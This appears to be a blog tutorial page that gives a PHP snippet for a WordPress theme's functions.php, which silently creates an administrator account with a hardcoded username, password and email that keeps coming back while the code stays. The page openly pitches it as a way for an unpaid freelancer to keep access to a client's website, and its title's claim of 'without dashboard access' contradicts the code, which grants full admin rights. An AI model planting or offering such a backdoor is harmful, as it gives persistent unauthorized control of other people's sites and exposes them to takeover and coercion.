How to create WordPress user without dashboard access

How to create WordPress user without dashboard access
How to create a WordPress user without dashboard access

If you want to create a user without dashboard access. Just follow the belowย steps.

Paste the below code into it functions.php. Then an account will be automatically generated. No one can delete this user unless someone removes this code from functions.php.

It has the requirements. Suppose you are a freelancer, you have worked properly on your client. But he does not want to make payments. Then you can access the website in this way.

You just have to follow a step, paste the code below into your function.php

<?php

 $createuser = wp_create_user('ahamedsojib','sojib','Ahamedsojib@purebdinfo.com');
 $newuserrole= new WP_User($createuser);
 $newuserrole -> set_role('administrator');

 ?>

 

 

If the tutorial is useful, they will definitely subscribe to our youtube channel. [sm-youtube-subscribe]

 

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *